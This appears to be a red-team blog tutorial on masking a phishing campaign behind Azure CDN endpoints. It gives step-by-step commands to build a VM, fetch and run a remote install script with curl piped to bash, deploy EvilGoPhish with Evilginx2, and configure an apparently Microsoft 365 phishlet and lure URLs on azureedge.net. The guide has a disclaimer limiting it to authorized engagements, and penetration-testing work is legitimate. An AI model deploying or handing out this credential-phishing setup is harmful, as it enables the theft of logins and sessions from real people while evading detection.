CDN Phishing

Whether you stumbled across this post by accident or you need to create a good phishing campaign, I am here to help you with all that and a bag of chips!

This article aims to teach Offensive teams how to mask their phishing infrastructure using a Content Delivery Network (CDN) in Azure. The setup itself is very easy, but understanding how it works may be more convoluted. Let me walk you through the steps of creating a virtual machine in Azure to send out a phishing email.

Disclaimer

I shall not be responsible or liable for any misuse or illegitimate use of this guide. This guide is only to be used in authorized penetration testing or red team engagements where the operator(s) has(ve) been given explicit written permission to carry out social engineering.

A word of warning! This article is not an in-depth guide on how to:

  • Show you the detailed networking of a CDN
  • Show you how Apache2 works
  • Show you how TMUX works
  • Show you how to set up a phishing campaign
  • How to set up an SMTP relay (i.e. Mailgun)

Setting up a Virtual Machine

First things first, we want to setup a virtual machine in Azure. The reason why we use Azure is to get an SSL certificate from Let’s Encrypt using:

certbot certonly --register-unsafely-without-email -d YOURDNSNAME.eastus.cloudapp.azure.com

Let’s get started:

  1. Navigate to Azure portal and login
  2. Go to Virtual Machines and create a Virtual Machine
  3. Make sure to grab your SSH keys for this. Default user: azureuser
  4. Go to the resource you just created and click on “Public IP Address” (located in the “Essentials” section)
  5. Add a DNS name label (format: “YOURDNSNAME.eastus.cloudapp.azure.com”)
  6. Ensure ports 80 (HTTP), 443 (HTTPS), and 587 (SMTP over StartTLS) are open:
    • Go to Virtual Machine > Networking > “Add inbound port rule”
  7. Access the virtual machine:
    ssh -L 3333:localhost:3333 azureuser@[ip-address]
  8. Start a tmux process:
    tmux new

Installing EvilGoPhish

Full credit for this section goes to the original tool creator. This tool automates the process of creating and making GoPhish, Evilginx2, and Apache flow together.

Installation Steps:

  1. In the bash shell, run:
    curl -sSL https://raw.githubusercontent.com/stevesec/egp_basicinstall/main/basic_install.sh | bash
  2. Enter through prompts until “root domain” prompt, enter: azureedge.net
  3. Enter subdomains (space-separated):
    target-login target-account
  4. Configure remaining prompts:
    • Enter redirect URL
    • Enter RID
    • Configure user preferences
    • Set up MailGun (optional)

Let’s Encrypt Certificate

  1. Run certbot:
    certbot certonly --register-unsafely-without-email -d YOURDNSNAME.eastus.cloudapp.azure.com
  2. Select option 1 for temporary webserver
  3. Edit Apache configuration:
    nano /etc/apache2/sites-enabled/000-default.conf
  4. Update certificate locations:
    • SSLCertificateFile
    • SSLCertificateChainFile
    • SSLCertificateKeyFile
  5. Restart Apache:
    systemctl restart apache2.service

Setup CDN

  1. Go to Front Door and CDN Profiles
  2. Create first endpoint:
    • CDN Endpoint Name: target-login
    • Origin Type: Custom Origin
    • Origin hostname: VM IP Address
  3. Configure endpoint:
    • Update Origin host header
    • Disable compression
    • Set caching rules to “Bypass caching for query strings”
  4. Create second endpoint (target-account) following same steps

Edit Evilginx Phishlet

  1. Edit configuration:
    nano /etc/.evilgophish/evilginx2/phishlets/o3652.yaml
  2. Update proxy_hosts:
    • Change phish_sub: 'login' to phish_sub: 'target-login'
    • Change phish_sub: 'account' to phish_sub: 'target-account'

Start Up EvilGoPhish

  1. Start GoPhish:

    cd /etc/.evilgophish/
./gophish

  2. Start Evilginx2:

    ./evilginx2 -g ../gophish/gophish.db -debug -developer -p phishlets/

  3. Configure Evilginx2:

    config domain azureedge.net
config ip [ip address of Virtual Machine]
phishlets hostname o3652 azureedge.net
phishlets enable o3652
lures create o3652
lures get-url 0

  4. Enter the URL into GoPhish to complete setup